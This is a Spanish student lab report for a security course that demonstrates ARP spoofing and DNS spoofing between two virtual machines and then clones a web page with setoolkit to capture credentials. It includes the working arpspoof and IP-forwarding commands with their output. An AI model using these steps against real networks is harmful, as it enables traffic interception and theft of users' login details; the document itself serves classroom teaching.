ARP Y DNS SPOOFING

C.E.S ACADEMIA LOPE DE VEGA

CFGS: 2º Administración de Sistemas Informáticos en Red

Curso: 2017/2018

Asignatura: Seguridad y Alta Disponibilidad

Prof. Miguel Angel González

Autor: Rafael Osuna Ventura

Rafael Osuna Ventura
2ºASIR

Antes de comenzar la práctica necesitamos dos máquinas virtuales, Windows 7 y kali Linux, estas deberán estar en el mismo rango ip.

Comprobamos que hay conexión entre ambas y nos vamos a la máquina de kali Linux. Una vez aquí, nos vamos a la siguiente ruta "/proc/sys/net/ipv4/ip_forward" y ponemos de valor 1.

```
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
1
```

Ahora pasamos a envenenar la tabla arp, para ello utilizamos arspoof aplicando el siguiente comando: "arpspoof –i interfaz –t ipvictima puertaenlacevictima"

```
root@kali:~# arpspoof -i eth0 -t 192.168.0.107 192.168.0.1
8:0:27:6d:bb:95 8:0:27:0:85:7b 0806 42: arp reply 192.168.0.1 is-at 8:0:27:6d:b
:95
8:0:27:6d:bb:95 8:0:27:0:85:7b 0806 42: arp reply 192.168.0.1 is-at 8:0:27:6d:b
:95
8:0:27:6d:bb:95 8:0:27:0:85:7b 0806 42: arp reply 192.168.0.1 is-at 8:0:27:6d:b
:95
```

Una vez realizado esto vamos a comprobar que se ha realizado con éxito. Como vemos la tabla arp a cambiado:

```
Interfaz: 192.168.0.107 --- 0xb
  Dirección de Internet          Dirección física      Tipo
  192.168.0.1           18-a6-f7-8b-9f-90     dinámico
  192.168.0.255         ff-ff-ff-ff-ff-ff     estático
  224.0.0.2             01-00-5e-00-00-02     estático
  224.0.0.22            01-00-5e-00-00-16     estático
  224.0.0.252           01-00-5e-00-00-fc     estático
  239.255.255.250       01-00-5e-7f-ff-fa     estático
  255.255.255.255       ff-ff-ff-ff-ff-ff     estático

C:\Windows\system32>arp -a

Interfaz: 192.168.0.107 --- 0xb
  Dirección de Internet          Dirección física      Tipo
  192.168.0.1           08-00-27-6d-bb-95     dinámico
  192.168.0.105         08-00-27-6d-bb-95     dinámico
  192.168.0.255         ff-ff-ff-ff-ff-ff     estático
  224.0.0.2             01-00-5e-00-00-02     estático
  224.0.0.22            01-00-5e-00-00-16     estático
  224.0.0.252           01-00-5e-00-00-fc     estático
  239.255.255.250       01-00-5e-7f-ff-fa     estático
  255.255.255.255       ff-ff-ff-ff-ff-ff     estático
```

ANTES

DESPUES

Procedemos a realizar dnsspoofing. Para ello tenemos que crear un documento en el que pondremos la ipanfitriona y pagina web que deseemos.

Tras esto empleamos el comando: “dnsspoof –i interfaz nombrearchivo host ipvictima”. Si comprobamos que funciona vemos como al hacer ping a la página deseada nos lo realiza a nuestra máquina de kali linux

Para acabar utilizamos la herramienta setoolkit con la cual podemos clonar la página deseada y poder así robar las credenciales. Dentro de esta herramienta debemos de elegir las opciones en los distintos menús, hasta llegar a poder clonar la página. Una vez aquí, debemos de poner la ip de la mquina de kali y la dirección de la página a clonar, de esta forma al introducir los datos en la máquina de Windows 7 obtendremos las credenciales.